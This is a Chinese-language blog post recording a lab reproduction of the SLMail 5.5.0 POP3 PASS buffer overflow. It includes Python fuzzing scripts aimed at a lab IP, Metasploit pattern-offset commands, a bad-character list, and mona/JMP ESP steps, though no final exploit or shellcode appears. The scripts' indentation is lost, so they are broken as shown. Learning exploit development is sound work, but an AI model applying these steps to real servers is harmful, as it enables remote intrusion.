Win32 Buffer Overflow (slmail)

简介
缓冲区溢出, fuzzing, 定位crash, 定位eip位置, 定位bad char, 定位exp的值, 创建shellcode; 本文将探索漏洞利用开发的生命周期和各个阶段。
很乱, 现在对这块没有一个深刻的概念, 刚完成若干root-me pwn挑战, 复现了一下slmail缓冲区溢出漏洞, 第一次编写exp; 真的有点乱, 但是过程、思路和用到的工具先记录于此. 关于该部分内容, 可以搜索exploit development进行深入学习.

文章目录

  • fuzzing crash
  • locate crash
  • Find EIP in crash
  • locate sc space
  • locate bad char
  • exp development

在讨论缓冲区溢出时,经常出现的问题是: “如何找到这些漏洞?” 和 “你怎么知道Y命令中的X字节会导致应用程序崩溃并导致缓冲区溢出?”;
一般来说,主要有三种方法来识别应用程序中的漏洞。如果是开源应用程序, 那么代码审计可能是寻找漏洞的最简单方法; 如果不是开源应用的,可以通过 逆向工程模糊测试 来发现漏洞。
模糊测试 涉及将格式错误的数据发送到应用程序的输入并观察程序的意外崩溃, 意外崩溃表示应用程序可能无法正确处理某些输入, 这可能会发现可利用的漏洞。

SLMail 5.5.0

下面的示例将演示简化的模糊测试,以便在SLMail 5.5.0邮件服务器软件中查找已知的缓冲区溢出漏洞。该缓冲区溢出漏洞发现于2005年,漏洞位于用户登录时提供的POP3 PASS命令; 这是在pop3服务器身份验证过程中触发的, 即攻击者不需要知道任何凭据,就可以触发此漏洞。

SLMail软件编译时未使用数据执行保护(DEP)或地址空间布局随机化(ASLR)等内存保护技术, 这使得exp的开发过程更加简单, 因为我们不必绕过这些内部安全机制。由于我们将利用Windows 7上的漏洞, 我们需要了解Microsoft引入的一些内存保护机制, 特别是数据执行保护(DEP)和地址空间布局随机化(ASLR):

  • DEP 是一组硬件和软件技术,可对内存执行额外检查,以帮助防止恶意代码在系统上运行; DEP的主要好处是在执行发生时通过引发异常来帮助防止数据页面执行代码。
  • ASLR 每次引导操作系统时,ASLR都会随机化加载的应用程序和DLL的基址; 通过增加地址定位的难度来预防buffer overflow。

与POP3协议交互

我们选择SLMail作为示例的原因之一是它使用POP3协议且数据传输过程均为明文; 但是, 如果我们不知道正在审计的协议,我们需要查找该协议格式的RFC文档,或使用像Wireshark这样的工具自己学习协议的实现。

python连接pop3服务器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#!/usr/bin/python 
import socket

# Create an array of buffers, from 10 to 2000, with increments of 20. buffer=["A"]
counter=100
while len(buffer) <= 30:
buffer.append("A"*counter)
counter=counter+200
for string in buffer:
print ("Fuzzing PASS with %s bytes" % len(string))
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect=s.connect(('10.0.0.22',110))
s.recv(1024)
s.send('USER test\r\n')
s.recv(1024)
s.send('PASS ' + string + '\r\n') s.send('QUIT\r\n')
s.close()

Win32缓冲区溢出利用

Windws缓冲区利用简称exploit development, 包括准确定位导致crash的字节数、eip在crash数据中的位置、shellcode的可用字节数、badchar、确定eip的值、创建shellcode、编写exp; 下面将分别介绍:

定位导致crash的字节数

windows 7上运行SLmail 5.5.0, 用Immunity附加slmail进程并运行, 开启fuzzing产生crash并记录crash数据量, 代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import socket

def fuzzing():
buffer = ["A"]
counter = 100

def fuzz(buffer):
print("Fuzzing PASS with %s bytes"%len(buffer))
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((ip, 110))
s.recv(1024)
s.send("USER owefsad\r\n")
s.recv(1024)
s.send("PASS "+buffer+"\r\n")
s.send("QUIT\r\n")
s.close()

while len(buffer)<30:
buffer.append("A"*counter)
counter += 200

for buff in buffer:
fuzz(buff)

最终发现当buff字节数达到2700以后将触发crash; 因此触发crash的最小字节为2700.

定位EIP在crash数据中的位置

找到导致crash的字节数2700后, 需要查找eip指针地址在crash时被第多少字节的数据覆盖, 查找方法为 二分查找 和 UniqueString分析; 二分查找: 先后将一半的数据填入不同的数据, 根据二分查找的思想不停的crash, 并查看crash时eip地址的值, 知道确定eip的位置, 常见方法是crash的数据的前半部分为A, 后半部分为B; 然后移动分割线, 直到确定到eip; UniqueString分析 创建一个不重复的字符串, 然后作为crash数据产生crash, 记录eip的值, 用eip的值查找在crash数据中的位置, kali下内置的pattern_create.rb脚本用于创建UniqueString, pattern_offset.rb用于来定位字符的位置;

1
2
3
4
5
6
# 创建uniquestring
$ msf-pattern_create -l 2700

# 定位eip_value在uniquestring中的位置
$ msf-pattern_offset -q 4Df5
[*] Exact match at offset 2606

shellcode可用字节数

将crash数据分为三部分: prefix、eip、buffer, 其中shellcode位于buffer中, 分别填充不同的字符在三部分中并不停的增加buffer的数据量, 直到找到一个字节数最大的buffer使得eip寄存器中的数据于crash中eip的值相同, 该字节数即shellcode的最大可用字节数; 该过程依旧是fuzz, 可采用类似于tcp满启动快重传的方法来快速定位最大字节数;
经fuzz, 最大可用字节数为430字节

检查bad char(剔除exp中的bad char)

有一些字符是控制字符且在不同的应用程序、协议中有不同的内置字符, 因此在编写exp时需要剔除这部分字符, 那么如何寻找这部分字符就显得尤为重要, 定位bad char的方法为创建\x01-\xff的数据并作为crash中的buffer进行crash, 观察eip指针后的数据, 找到导致\x01\xff不连续的字节, 然后去除该部分数据继续crash, 直到除被剔除的数据外, 都在buffer的内存中;
需要了解的是0x00是截断符, 0x0A是回车符在POP3中作为确认数据输入完成的字符, 0x0D是归位符没有内容, 因此者三个字符不能使用, 其他的bad char需要fuzz;

1
2
3
4
python -c "ans=[];ans=[hex(i) for i in range(256)];print ''.join(ans).replace('0x', '\\\x')"
sc = "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"

# fuzz之后确认来0x00, 0x0a, 0x0d三个bad char

ensure eip value

确认crash数据之后, 需要通过eip来控制程序的走向, 将eip指向shellcode获取shell; 最简单高效的方法是让crash时esp寄存器中pop出的地址覆盖eip的地址, 但是每次crash时esp的值都不一样, 因此不能进行硬编码。(为什么esp地址在crash时会发生变化?)
为了控制程序走向, 需要找到一个合适的return address, 因为如果我们无法直接从crash的位置跳转到shellcode, 可以尝试找到一个可访问的稳定的跳转到esp的指令地址(JMP ESP), 然后用esp寄存器引导程序执行shellcode。那么如何如何寻找这样的地址呢?

  • 安装mona, 具体方法见mona.py
  • 运行!mona modules指令查找未被保护的dll;
  • 从dll中寻找可利用的指令并确定其地址

运行!mona modules后, 在log data Frame中找到未受保护的dll分别为:open.dll、SLMFC.dll、MFC42Loc.dll;
找到可利用的dll后, 需要定位对应的跳转指令是否存在于dll中及其地址, 查所需汇编代码的16进制串:

1
2
3
$ msf-nasm_shell
nasm > jmp esp
00000000 FFE4 jmp esp

利用Immunity的mona插件查找dll中的16进制串”\xff\xe4”: 打开immunity, 输入!mona find -s "\xff\xe4" -m slmfc.dll; 在返回的结果中挑选不包含bad char的地址。

ps://编写exp时, 难点之一就是确定eip的位置, slmail未启用任何内存保护, 较容易找到合适的eip, 但还有很多其他的方法用来定位eip.

编写shellcode

找到正确的eip后, 基本上exp就编写完成一半了, 接下来通过msfvenom创建对应的shellcode, 在buffer中写入nop指令即可创建有效的exp.

疑问: 为什么不直接运行shellcode而是添加了一段nop?
因为shellcode一般是通过msfvenom创建的, msfvenom框架的代码会将shellcode的前几位覆盖导致shellcode无法正常运行;

疑问2: 为什么用windows/shell/bind_tcp无法创建有效的shell链接; 用windows/shell/reverse_shell可以

owefsad wechat
进击的DevSecOps,持续分享SAST/IAST/RASP的技术原理及甲方落地实践。如果你对 SAST、IAST、RASP方向感兴趣,可以扫描下方二维码关注公众号,获得更及时的内容推送。
0%